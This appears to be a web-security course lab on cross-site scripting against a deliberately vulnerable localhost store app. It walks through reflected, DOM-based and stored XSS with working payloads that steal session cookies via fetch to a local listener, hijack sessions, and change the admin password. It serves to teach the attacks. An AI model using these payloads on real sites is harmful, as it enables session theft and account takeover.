Cross-Site Scripting
Setup #
In order follow along with the class lecture and complete the homework, you will need node installed on your system. You can either install it inside of your VM and perform all actions in your virtual machine, or you can install directly on your host machine. For cross-site scripting, you’ll be able to perform everything within your regular web browser.
Additionally, you will need git installed in order to clone the repository down to your machine.
You will also need python installed. It is already installed on your virtual machine (note that you will need use python3 in place of python in your commands in the VM), otherwise you can install it on your host machine by following the instructions here.
After installing node, python, and git, you can clone the repository to your local machine:
git clone https://github.com/jastardev/CISC350-XSS-site.git
Navigate into the repository
cd CISC350-XSS-site
Install all the node dependencies in the project
npm install
Initialize the database
node init-db
Start the project
npm start
You can view the site by opening http://localhost:3000 in your web browser
Reflected Cross-Site Scripting #
This type of injection involves sending input to a server, which injects into the webpage before returning the entire page to the user.
This type is considered non-persistent as the exploit needs to be provided to the user on every attempt to exploit.
Think of phishing links when it comes to reflected attacks.
As an example of this type of vulnerability. Let’s look at our store website… When we search for a product, we see that the web URL is updated with the query parameter ‘search’. This makes it an excellent candidate because we could potentially send this URL to a victim.
Let’s try inserting a payload into the search bar to see if this field is vulnerable.
<script>alert(0)</script>
http://localhost:3000/?search=%3Cscript%3Ealert%280%29%3C%2Fscript%3E

Unfortunately, our payload doesn’t execute, this could be for a myriad of reason relating to filtering or sanitization when the element is being inserted. This, however, doesn’t mean the field isn’t vulnerable. Let’s try a different tag type.
<img src=x onerror='alert("XSS!")' />
http://localhost:3000/?search=%3Cimg+src=x+onerror=alert(%27XSS%27)%3E

This worked! However, alert boxes aren’t very useful though, so let’s modify our payload to do something more useful.
In this scenario, we want to take an action against the user to gain additional access to the site. For example, we can try to steal their authentication token in order to log in as the user. Note that in this scenario, we’d need to get the victim this link, likely via phishing or some sort.
To prep this scenario, we’ll need to login as one of the potential users. This will generate us an authentication cookie so we actually have something to steal.

In dev tools, navigate to the Application tab, then the cookie section, we’ll now see the authentication cookie being stored by the browser.
Let’s first double-check that we can read this cookie by printing the cookie to the javascript console in dev tools.
<img src=x onerror='console.log("cookie is:" + document.cookie)' />
http://localhost:3000/?search=%3Cimg+src%3Dx+onerror%3D%27console.log%28%22cookie+is%3A%22+%2B+document.cookie%29%27+%2F%3E

Great! We can read the cookie! Now we need to send it somewhere. How would we do this?
We can use the fetch function to send this cookie to ourselves.
<img src=x onerror='fetch("http://localhost:4444/exfil?q="+document.cookie)' />
However, before sending this, we need set up our server will do the listening
python -m http.server 4444

Now when we paste our payload into the search field, and hit search, we should see a request be made to our server. Ideally, we’ll want to take this a step further and urlEncode the token as well just to avoid any confusion or errors due to bad characters/etc.
We can do this encoding by wrapping it in the encodeURIComponent function
<img src=x onerror='fetch("http://localhost:4444/exfil?data="+encodeURIComponent(document.cookie))' />

Great! We’ve now stolen their token!
We can use this token to login to the website as that user by opening an incognito/private browser window and visiting the site
If we open devtools and replace the existing cookie with our URL decoded cookie (You can paste the cookie into CyberChef to decode the cookie)
And then visit /dashboard again. We’ll now gain access to the dashboard!
DOM-Based Cross-Site Scripting #
DOM (Document Object Model) based cross-site scripting behaves overall very similarly to Reflected, except everything is client side, so the javascript that is processed is never sent to the server.
When reviewing the source code for the page, we’ll notice some code that appends text provided by a hash tag in the URL into an announcements field. We’ll also notice that they aren’t doing any sanitization or validation of the input being rendered. This is a prime choice for an XSS attack.
Lets first double check how it works, but just appending hello world into the URL
http://localhost:3000/#msg=hello world!
# encoded
http://localhost:3000/#msg=hello%20world!

We can see that a box appears on the page containing the announcement that was provided in the URL.
So what happens if we add our img tag with an onerror attribute?
http://localhost:3000/#msg=%3Cimg%20src=x%20onerror=alert(0)%20/%3E

We see that the alert box is executed
Can we read the cookie we’re trying to steal?
<img src=x onerror='alert(document.cookie)' />
http://localhost:3000/#msg=%3Cimg%20src=x%20onerror='alert(document.cookie)'%20/%3E

Great! We know we can read the cookie, however, sending that cookie into an alert box isn’t super useful so instead of alert box, we’ll again replace it with the fetch command to send the cookie to ourselves.
<img src=x onerror='fetch("http://localhost:4444/exfil?data="+encodeURIComponent(document.cookie))' />
http://localhost:3000/#msg=%3Cimg%20src=x%20onerror='fetch(%22http://localhost:4444/exfil?data=%22+encodeURIComponent(document.cookie))'%20/%3E


We’ve again confirmed that we can steal the cookie and send it to ourselves!
NOTE: Both DOM based XSS and Reflected XSS are not persistent methods. They are very targeted because they require the use of malicious links being passed directly to the victim.
Stored XSS #
Stored XSS involves the payload getting stored by the website and distributed to other users on the site. This could be all the individual users of the site, or specific personnel like site administrators.
On our test site, when we add a new product, we’ll see that it gets added to a queue for the administrators to review.

If we log in as the administrator user and navigate to the review queue page, we’ll see the Microphone product we submitted.
Approving it, will add it to the home page.
So what if we wanted to target the admin user and perhaps steal their auth token?
Well, we could craft a payload that gets executed when they open the product for review. Let’s start by confirming that we can execute scripts on that product queue page.
<script>
alert("Hello world");
</script>

Visiting the queue page as the admin user, we do infact get the alert box to show up!
Let’s click “ok” to close the alert, and then reject the product, so we don’t have to click through every time we visit the page.
This time, in our payload, we can re-use our cookie stealing code from the previous examples.
<script>
fetch("http://localhost:4444/exfil?data="+encodeURIComponent(document.cookie));
</script>

NOTE Make sure we start our listener:
python -m http.server 4444
Now submit the product and visit the queue page as the admin user.
We’ve now stolen the token of the admin user and can log in as them just as we did in the previous examples.
While we could leave it here and just use the token to login and manually take steps around the site, you’d often want to instead use this to automate actions.
<script>
function getCookieValue(name) {
  const value = `; ${document.cookie}`;
  const parts = value.split(`; ${name}=`);
  if (parts.length === 2) return parts.pop().split(';').shift();
}
let cookie = getCookieValue("techstore-auth-token");
fetch("http://localhost:3000/auth/change-password", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    "Cookie": "techstore-auth-token="+cookie // works in Node, not browsers
  },
  body: JSON.stringify({ newPassword: "password456" })
});
</script>
If we paste this into the description and submit, then login to the admin user and visit the product queue, we’ll see in the network that several network calls were made, including one to change-password.

if we log out, and log back in using the previous credentials, we’ll be unable to authenticate.
But logging in with “password456” will let us in.
Imagine now that we can get this script into the page of every user on the site. We’d be able to use this vulnerability to take over the account of every user that visits the products page.